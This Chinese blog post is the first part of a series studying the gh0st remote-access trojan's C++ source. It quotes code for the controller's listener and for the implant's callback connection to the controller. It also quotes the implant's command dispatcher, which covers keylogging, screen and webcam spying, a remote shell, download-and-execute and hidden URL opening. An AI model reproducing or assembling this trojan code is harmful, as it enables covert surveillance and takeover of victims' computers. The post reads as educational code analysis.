C++开源项目研究——gh0st远控(一)

上一节我们讲过肉机最关键的一步就是通过connect来连接指定的主控端

if (connect(m_Socket, (SOCKADDR *)&ClientAddr, sizeof(ClientAddr)) == SOCKET_ERROR)   return false;

其实在次之前应当是主控端先监听相应的端口,然后肉机再来连接这个端口的

在主控端的OnInitDialog当中调用:listenPort();    //开始监听端口

// 监听端口
void CPCRemoteDlg::listenPort()
{int	nPort = ((CPCRemoteApp*)AfxGetApp())->m_IniFile.GetInt("Settings", "ListenPort");         //读取ini文件中的监听端口int	nMaxConnection = ((CPCRemoteApp*)AfxGetApp())->m_IniFile.GetInt("Settings", "MaxConnection");   //读取最大连接数if (nPort == 0)nPort = 80;if (nMaxConnection == 0)nMaxConnection = 10000;Activate(nPort, nMaxConnection);             //开始监听
}

我们跟进Activate函数:

void CPCRemoteDlg::Activate(UINT nPort, UINT nMaxConnections)
{CString		str;if (m_iocpServer != NULL){m_iocpServer->Shutdown();delete m_iocpServer;}m_iocpServer = new CIOCPServer;// 开启IPCP服务器 最大连接  端口     查看NotifyProc回调函数  函数定义if (m_iocpServer->Initialize(NotifyProc, NULL, 100000, nPort)){char hostname[256];gethostname(hostname, sizeof(hostname));HOSTENT* host = gethostbyname(hostname);if (host != NULL){for (int i = 0; ; i++){str += inet_ntoa(*(IN_ADDR*)host->h_addr_list[i]);if (host->h_addr_list[i] + host->h_length >= host->h_name)break;str += "/";}}str.Format("监听端口: %d成功", nPort);showMessage(true, str);}else{str.Format("监听端口: %d失败", nPort);showMessage(false, str);}
}

比较关键的就是m_iocpServer->Initialize(NotifyProc, NULL, 100000, nPort)

其中第一个参数NotifyProc是一个回调函数,原型为:

typedef void (CALLBACK* NOTIFYPROC)(LPVOID, ClientContext*, UINT nCode);

回调函数其实就是函数指针的一种特殊形式(二者是共性与个性,一般与个别的关系😋)

//函数指针
typedef void(_cdecl* TestRunT)(char* strHost, int nPort);//回调函数
typedef void (CALLBACK* NOTIFYPROC)(LPVOID, ClientContext*, UINT nCode);

Initialize函数当中创建了ListenThreadProc线程用来处理端口的监听,至于怎么监听的细节就不再展开

//开启监听线程  跟进ListenThreadProcm_hThread =(HANDLE)_beginthreadex(NULL,				// Security0,					// Stack size - use defaultListenThreadProc,  // Thread fn entry point(void*) this,	    0,					// Init flag&dwThreadId);	// Thread address

我们来看一下几处回调函数调用的位置:

1)一处是在OnAccept处,表示有连接到来

m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_CLIENT_CONNECT); 

2)另外比较关键的一处是在OnClientReading,对应完整接收:NC_RECEIVE_COMPLETE

if (nRet == Z_OK)   //如果完整接收{//写入数据pContext->m_DeCompressionBuffer.ClearBuffer();pContext->m_DeCompressionBuffer.Write(pDeCompressionData, destLen);//调用回调函数传递  NC_RECEIVE_COMPLETE  到回调函数看一下 m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_RECEIVE_COMPLETE);   }

3)当然OnClientWriting这个位置也挺重要,主要是负责给肉机发送命令

OVERLAPPEDPLUS * pOverlap = new OVERLAPPEDPLUS(IOWrite);m_pNotifyProc((LPVOID) m_pFrame, pContext, NC_TRANSMIT);        //调用一下回调函数

至于OnClientReading的调用时机大家可以自行研究,在此不再赘述

以下是NotifyProc的完整代码:

/
// CMainFrame message handlers
// NotifyProc是这个socket内核的核心  所有的关于socket 的处理都要调用这个函数
void CALLBACK CPCRemoteDlg::NotifyProc(LPVOID lpParam, ClientContext* pContext, UINT nCode)
{/*if (TEST_MODE) {::MessageBox(NULL, "有连接到来!!", "", NULL);}*/try{switch (nCode){case NC_CLIENT_CONNECT:break;case NC_CLIENT_DISCONNECT://g_pConnectView->PostMessage(WM_REMOVEFROMLIST, 0, (LPARAM)pContext);break;case NC_TRANSMIT:break;case NC_RECEIVE://ProcessReceive(pContext);        //这里是有数据到来 但没有完全接收  大家可能会奇怪他怎么知道没有完全接收呢?//回到OnClientReading 继续向下分析break;case NC_RECEIVE_COMPLETE:ProcessReceiveComplete(pContext);      //就是这里 数据解压 还原后在调用 ProcessReceiveComplete 转到ProcessReceiveCompletebreak;}}catch (...) {}}

进入ProcessReceiveComplete函数也就进入了主控端接收消息的核心代码位置了:

//处理所有服务端发送来的消息
void CPCRemoteDlg::ProcessReceiveComplete(ClientContext* pContext)
{if (pContext == NULL)return;// 如果管理对话框打开,交给相应的对话框处理CDialog* dlg = (CDialog*)pContext->m_Dialog[1];      //这里就是ClientContext 结构体的int m_Dialog[2];// 交给窗口处理if (pContext->m_Dialog[0] > 0)                //这里查看是否给他赋值了,如果赋值了就把数据传给功能窗口处理{switch (pContext->m_Dialog[0]){case SYSTEM_DLG:((CSystemDlg *)dlg)->OnReceiveComplete();break;case SHELL_DLG:((CShellDlg *)dlg)->OnReceiveComplete();break;default:break;}return;}switch (pContext->m_DeCompressionBuffer.GetBuffer(0)[0])   //如果没有赋值就判断是否是上线包和打开功能功能窗口{case TOKEN_LOGIN: // 上线包{//这里处理上线if (m_iocpServer->m_nMaxConnections <= g_pPCRemoteDlg->m_CList_Online.GetItemCount()){closesocket(pContext->m_Socket);}else{pContext->m_bIsMainSocket = true;g_pPCRemoteDlg->PostMessage(WM_ADDTOLIST, 0, (LPARAM)pContext);}// 激活BYTE	bToken = COMMAND_ACTIVED;m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));}break;case TOKEN_PSLIST:g_pPCRemoteDlg->PostMessage(WM_OPENPSLISTDIALOG, 0, (LPARAM)pContext);break;case TOKEN_SHELL_START:g_pPCRemoteDlg->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)pContext);break;// 命令停止当前操作default:closesocket(pContext->m_Socket);break;}
}

其中包括:

1)第一次的上线包:

case TOKEN_LOGIN: // 上线包{//这里处理上线if (m_iocpServer->m_nMaxConnections <= g_pPCRemoteDlg->m_CList_Online.GetItemCount()){closesocket(pContext->m_Socket);}else{pContext->m_bIsMainSocket = true;g_pPCRemoteDlg->PostMessage(WM_ADDTOLIST, 0, (LPARAM)pContext);}// 激活BYTE	bToken = COMMAND_ACTIVED;m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));}

2)第一次打开具体对话框的命令

case TOKEN_PSLIST:g_pPCRemoteDlg->PostMessage(WM_OPENPSLISTDIALOG, 0, (LPARAM)pContext);break;case TOKEN_SHELL_START:g_pPCRemoteDlg->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)pContext);break;

当然打开对话框由于需要显示的东西需要从肉机那里获取,所以肯定还是要给他发消息的:

BOOL CSystemDlg::OnInitDialog()
{CDialog::OnInitDialog();// TODO:  在此添加额外的初始化SetIcon(m_hIcon, TRUE);//设置大图标SetIcon(m_hIcon, FALSE);//设置小图标sockaddr_in  sockAddr;CString str;int nSockAddrLen = sizeof(sockAddr);BOOL bResult = getpeername(m_pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen); //得到连接的ip str.Format("布布の进程管理——被控主机:%s", bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "");//转化为". . . ."形式的IP地址SetWindowText(str);//设置对话框标题m_tab.InsertItem(0, "进程管理");    //为tab设置标题m_tab.InsertItem(1, "窗口管理");m_tab.InsertItem(2, "拨号密码");//初始化进程的列表m_list_process.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES);m_list_process.InsertColumn(0, "映像名称", LVCFMT_LEFT, 100);m_list_process.InsertColumn(1, "PID", LVCFMT_LEFT, 50);m_list_process.InsertColumn(2, "程序路径", LVCFMT_LEFT, 400);//初始化 窗口管理的列表m_list_windows.SetExtendedStyle(LVS_EX_FLATSB | LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES);m_list_windows.InsertColumn(0, "窗口句柄", LVCFMT_LEFT, 100);m_list_windows.InsertColumn(1, "窗口名称", LVCFMT_LEFT, 320);m_list_windows.InsertColumn(2, "窗口状态", LVCFMT_LEFT, 100);//初始化各个列表的大小AdjustList(); ShowProcessList();   //由于第一个发送来的消息后面紧跟着进程的数据所以把数据显示到列表当中ShowSelectWindow();   //显示列表return TRUE;  // return TRUE unless you set the focus to a control// 异常: OCX 属性页应返回 FALSE
}

 3)如果管理对话框打开,交给相应的对话框处理

if (pContext->m_Dialog[0] > 0)                //这里查看是否给他赋值了,如果赋值了就把数据传给功能窗口处理{switch (pContext->m_Dialog[0]){case SYSTEM_DLG:((CSystemDlg *)dlg)->OnReceiveComplete();break;case SHELL_DLG:((CShellDlg *)dlg)->OnReceiveComplete();break;default:break;}return;}

这样从理论上来讲,就是主控端的对话框已经能打开并且能够和肉机进行收发数据了,此时如果能正确接收肉机发来的数据,就能完美地显示出来了!

然后我们看回肉机端:连接成功之后,执行工作线程WorkThread

//---连接成功,开启工作线程  转到WorkThreadm_hWorkerThread = (HANDLE)MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL, true);

WorkThread部分的代码

如果主控端没有退出,就一直陷在这个循环中:while (pThis->IsRunning()),之后等待主控端的唤醒即可(主控端有任务派发给肉机就会将其唤醒)

退出的时候给肉机发送关闭消息,让他紫砂即可

DWORD WINAPI CClientSocket::WorkThread(LPVOID lparam)   
{CClientSocket *pThis = (CClientSocket *)lparam;char	buff[MAX_RECV_BUFFER];fd_set fdSocket;FD_ZERO(&fdSocket);FD_SET(pThis->m_Socket, &fdSocket);while (pThis->IsRunning())                //---如果主控端 没有退出,就一直陷在这个循环中{fd_set fdRead = fdSocket;int nRet = select(NULL, &fdRead, NULL, NULL, NULL);   //---这里判断是否断开连接if (nRet == SOCKET_ERROR)      {pThis->Disconnect();break;}if (nRet > 0){memset(buff, 0, sizeof(buff));int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0);     //---接收主控端发来的数据if (nSize <= 0){pThis->Disconnect();//---接收错误处理break;}if (nSize > 0) pThis->OnRead((LPBYTE)buff, nSize);    //---正确接收就调用 OnRead处理 转到OnRead}}return -1;
}

几个关键位置的代码: 

1)int nRet = select(NULL, &fdRead, NULL, NULL, NULL);   //---这里判断是否断开连接

注:select 函数是用于多路复用 I/O 操作的系统调用之一,它允许程序同时监视多个文件描述符,等待其中任何一个或多个变为可读、可写或出现异常。它常用于实现高效的并发网络编程,比如服务器端同时处理多个客户端连接的情况。 在调用 select 函数后,它会阻塞程序执行

select 函数会返回一个整数值,表示就绪文件描述符的数量。如果超时发生,返回值为 0;如果出错,返回值为 -1。

2)int nSize = recv(pThis->m_Socket, buff, sizeof(buff), 0);     //---接收主控端发来的数据

if (nSize > 0) pThis->OnRead((LPBYTE)buff, nSize);    //---正确接收就调用 OnRead处理

3)OnRead

其中关键的代码:

//解压数据看看是否成功,如果成功则向下进行unsigned long	destLen = nUnCompressLength;int	nRet = uncompress(pDeCompressionData, &destLen, pData, nCompressLength);//if (nRet == Z_OK)//---如果解压成功{m_DeCompressionBuffer.ClearBuffer();m_DeCompressionBuffer.Write(pDeCompressionData, destLen);//调用	m_pManager->OnReceive函数  转到m_pManager 定义m_pManager->OnReceive(m_DeCompressionBuffer.GetBuffer(0), m_DeCompressionBuffer.GetBufferLen());}

其中OnReceive函数的原型是一个虚函数

virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);

我们来观察m_pManager的来源为pManager

void CClientSocket::setManagerCallBack( CManager *pManager )
{m_pManager = pManager;
}

在dllmain当中调用了setManagerCallBack函数 

//---注意这里连接成功后声明了一个CKernelManager 到CKernelManager类查看一下CKernelManager	manager(&socketClient, strServiceName, g_dwServiceType, strKillEvent, lpszHost, dwPort);socketClient.setManagerCallBack(&manager);

也就是使用基类指针CManager *pManager指向了派生类对象CKernelManager    manager

兜兜转转一大圈就是说OnReceive动态多态调用的是CKernelManager重写的OnReceive

因此我们进入CKernelManager::OnReceive

//---这里就处理主控端发送来的数据  每一种功能都有一个线程函数对应转到Loop_FileManager
// 加上激活
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{switch (lpBuffer[0]){case COMMAND_ACTIVED:InterlockedExchange((LONG *)&m_bIsActived, true);break;case COMMAND_LIST_DRIVE: // 文件管理m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager, (LPVOID)m_pClient->m_Socket, 0, NULL, false);break;case COMMAND_SCREEN_SPY: // 屏幕查看m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,(LPVOID)m_pClient->m_Socket, 0, NULL, true);break;case COMMAND_WEBCAM: // 摄像头m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_VideoManager,(LPVOID)m_pClient->m_Socket, 0, NULL);break;case COMMAND_AUDIO: // 摄像头m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_AudioManager,(LPVOID)m_pClient->m_Socket, 0, NULL);break;case COMMAND_SHELL: // 远程sehllm_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ShellManager, (LPVOID)m_pClient->m_Socket, 0, NULL, true);break;case COMMAND_KEYBOARD: m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager,(LPVOID)m_pClient->m_Socket, 0, NULL);break; case COMMAND_SYSTEM: m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager,(LPVOID)m_pClient->m_Socket, 0, NULL);break;case COMMAND_DOWN_EXEC: // 下载者m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_DownManager,(LPVOID)(lpBuffer + 1), 0, NULL, true);Sleep(100); // 传递参数用break;case COMMAND_OPEN_URL_SHOW: // 显示打开网页OpenURL((LPCTSTR)(lpBuffer + 1), SW_SHOWNORMAL);break;case COMMAND_OPEN_URL_HIDE: // 隐藏打开网页OpenURL((LPCTSTR)(lpBuffer + 1), SW_HIDE);break;case COMMAND_UPDATE_SERVER: // 更新服务端if (UpdateServer((char *)lpBuffer + 1))UnInstallService();break;case COMMAND_REPLAY_HEARTBEAT: // 回复心跳包break;}	
}

不难发现CKernelManager会根据lpBuffer[0]来判断是想要执行哪个功能,然后创建对应的线程来处理主控端发过来的任务,根据lpBuffer当中的其他信息来具体化任务

比如Loop_ScreenManager当中:

DWORD WINAPI Loop_ScreenManager(SOCKET sRemote)
{CClientSocket	socketClient;if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))return -1;CScreenManager	manager(&socketClient);socketClient.run_event_loop();return 0;
}

 而CScreenManager的构造函数就要执行主控端交代的具体任务了

CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient)
{m_bAlgorithm = ALGORITHM_SCAN;m_biBitCount = 8;m_pScreenSpy = new CScreenSpy(8);m_bIsWorking = true;m_bIsBlankScreen = false;m_bIsBlockInput = false;m_bIsCaptureLayer = false;m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true);
}

刑了,今天的你就到此为止吧,明天还要接着浪啊!🎃🎃 作者:布卍哥  

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/780824.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

分寝室(20分)(JAVA)

目录 题目描述 输入格式&#xff1a; 输出格式&#xff1a; 输入样例 1&#xff1a; 输出样例 1&#xff1a; 输入样例 2&#xff1a; 输出样例 2&#xff1a; 题解&#xff1a; 题目描述 学校新建了宿舍楼&#xff0c;共有 n 间寝室。等待分配的学生中&#xff0c;有女…

Elment ui 动态表格与表单校验 列表数据 组件

组件做个记录&#xff0c;方便以后会用到。 效果&#xff1a; 代码 &#xff1a; <template><el-dialog title"商品详情" :visible.sync"dialogVisible" width"80%"><el-tabs v-model"activeTab"><el-tab-pane…

linux下 罗技鼠标睡眠唤醒问题的解决

sudo dmesg | grep Logitech | grep -o -P "usb.?\s" 得到3-2&#xff0c;用上面这条命令得到哪个usb口。 下面这条命令禁用罗技鼠标睡眠唤醒系统&#xff08;3-2改成你自己电脑上得到的usb口&#xff09; sudo sh -c "echo disabled > /sys/bus/usb/devic…

K8s 本地环境搭建,亲测可用

第一部分:安装k8s 1.28.2: 注意:因国内无法访问Google ,需要使用阿里云进行安装 系统准备 更新系统:确保你的Ubuntu系统是最新的。运行以下命令来更新系统: sudo apt-get update sudo apt-get upgrade -y sudo apt-get dist-upgrade -y安装必要的工具:安装curl和其他可能需…

c++按照指定的分隔符分割字符串

字符串先转化为std::istringstream类的实例,再进行分割操作。std::istringstream 是 C++ 标准库中的一个类,定义在 <sstream> 头文件中,用于从字符串中进行输入操作。它允许你像使用 std::cin 一样从字符串中提取数据,并进行解析。 主要特点: 用途:std::istringst…

正弦实时数据库(SinRTDB)的使用(8)-过滤查询

前文已经将正弦实时数据库的使用进行了介绍&#xff0c;需要了解的可以先看下面的博客&#xff1a; 正弦实时数据库(SinRTDB)的安装 正弦实时数据库(SinRTDB)的使用(1)-使用数据发生器写入数据 正弦实时数据库(SinRTDB)的使用(2)-接入OPC DA的数据 正弦实时数据库(SinRTDB)…

通过node 后端实现颜色窃贼 (取出某个图片的主体rgb颜色 )

1.需求 我前端轮播图的背景色 想通过每一张轮播图片的颜色作为背景色 这样的话 需要通过一张图片 取出图片的颜色 这个工作通过前端去处理 也可以通过后端去处理 前端我试了试 color-thief 的插件 但是 这个插件是基于canvas 的模式来的 我需要在小程序中使用这个插件 而且是…

E4440A安捷伦E4440A频谱分析仪

181/2461/8938产品概述&#xff1a; Agilent PSA 系列 E4440A 高性能频谱分析仪提供强大的一键式测量、多功能功能集和领先的技术&#xff0c;可满足您的项目和需求。 Agilent E4440A 频谱分析仪的其他功能和规格包括&#xff1a; 频率范围&#xff1a;3 Hz - 26.5 GHz/-0.19…

2024年中国医疗领域AI Models Overview

1. 神农(ShenNong-TCM) (2023-06-25) Code: ShenNong-TCM-LM基座模型: Chinese-Alpaca-Plus-7B数据: 以开源的中医药知识图谱为基础调用 ChatGPT 得到 1Iw的围绕中医药的指令数据 Model: Chinese-Alpaca-Plus-7BDataset: ShenNong_TCM Dataset, 中医药指令数据集 ShenNong_TCM…

汇总:五个开源的Three.js项目

Three.js 是一个基于 WebGL 的 JavaScript 库&#xff0c;它提供了一套易于使用的 API 用来在浏览器中创建和显示 3D 图形。通过抽象和简化 WebGL 的复杂性&#xff0c;Three.js 使开发者无需深入了解 WebGL 的详细技术就能够轻松构建和渲染3D场景、模型、动画、粒子系统等。 T…

K8S基本概念+pod生命周期+容器重启策略+Init容器和边车容器+pod探针+postStart和preStop

一 kubernetes 基础 Kubernetes是谷歌以Borg为前身&#xff0c;基于谷歌15年生产环境经验的基础上开源的一个项目&#xff0c;Kubernetes致力于提供跨主机集群的自动部署、扩展、高可用以及运行应用程序容器的平台。 二 Master 节点 kube-APIServer&#xff1a;集群的控制中…

Java数据结构-双向不带头非循环链表(模拟实现LinkedList)

目录 1. 双向不带头非循环链表的介绍2. 相关功能的实现2.1 基本框架2.2 size2.3 addFirst2.4 addLast2.5 addIndex2.6 contains2.7 remove2.8 removeAllKey2.9 clear 3. 全部代码 前面我们学习了最简单的链表&#xff1a;单链表&#xff0c;今天我们学习双向不带头非循环链表&a…

分布式图床项目

一、图床架构分析 二、后台数据处理框架 秒传: 如果上传的文件已经在服务器中存在了,就不需要二次上传了,但是服务器会对这个文件的引用计数加一,这样服务器就知道这个文件是多个人持有的。先对上传的文件进行 md5 校验来判断服务器中已经存在相同的文件了(同样的文件拿到…

OpenHarmony无人机MAVSDK开源库适配方案分享

MAVSDK 是 PX4 开源团队贡献的基于 MavLink 通信协议的用于无人机应用开发的 SDK&#xff0c;支持多种语言如 C/C、python、Java 等。通常用于无人机间、地面站与通信设备的消息传输。 MAVLink 是一种非常轻量级的消息传递协议&#xff0c;用于与无人机&#xff08;以及机载无…

[flink 实时流基础]源算子和转换算子

文章目录 1. 源算子 Source1. 从集合读2. 从文件读取3. 从 socket 读取4. 从 kafka 读取5. 从数据生成器读取数据 2. 转换算子基本转换算子&#xff08;map/ filter/ flatMap&#xff09; 1. 源算子 Source Flink可以从各种来源获取数据&#xff0c;然后构建DataStream进行转换…

【MySQL】mysql数据库小功能整理,持续更新~

目录 1、把从数据库中查询出的两个字段拼接 2、自定义新字段 1、把从数据库中查询出的两个字段拼接 在ThinkPHP中使用 field 查询数据库字段时&#xff0c;使用数据库自带的CONCAT函数使两个字段拼接成一个新的自定义字段。 示例&#xff1a; 有两个字段 number 和 filenam…

Day55:WEB攻防-XSS跨站CSP策略HttpOnly属性Filter过滤器标签闭合事件触发

目录 XSS跨站-安全防御-CSP XSS跨站-安全防御-HttpOnly XSS跨站-安全防御-XSSFilter(过滤器的意思) 1、无任何过滤 2、实体化 输入框没有 3、全部实体化 利用标签事件 单引号闭合 4、全部实体化 利用标签事件 双引号闭合 5、事件关键字过滤 利用其他标签调用 双引号闭合…

代码随想录训练营第60天 | LeetCode 84.柱状图中最大的矩形、总结

LeetCode 84.柱状图中最大的矩形 文章讲解&#xff1a;代码随想录(programmercarl.com) 视频讲解&#xff1a;单调栈&#xff0c;又一次经典来袭&#xff01; LeetCode&#xff1a;84.柱状图中最大的矩形_哔哩哔哩_bilibili 思路 代码如下&#xff1a; ​​​​​​总结 感…

代码随想录|Day28|贪心03|1005.K次取反后最大化的数组和、134.加油站、135.分发糖果

1005.K次取反后最大化的数组和 思路&#xff1a; 优先取反 绝对值最大的负数如果没有负数&#xff0c;不断取反 绝对值最小的数&#xff0c;直到次数 K 耗尽 取反最小数有一个优化技巧&#xff1a; 如果 K 为偶数&#xff0c;则取反 K 次后&#xff0c;正负不变。如果 K 为奇数…

聊聊java中的CountDownLatch,CyclicBarrier,Semaphore

CountDownLatch&#xff08;倒计时器&#xff09; 是什么&#xff1a; CountDownLatch是Java中的一个同步工具类&#xff0c;它允许一个或多个线程等待其他线程完成操作。 使用场景&#xff1a; 当一个线程需要等待多个其他线程执行完毕后才能继续执行时&#xff0c;可以使用…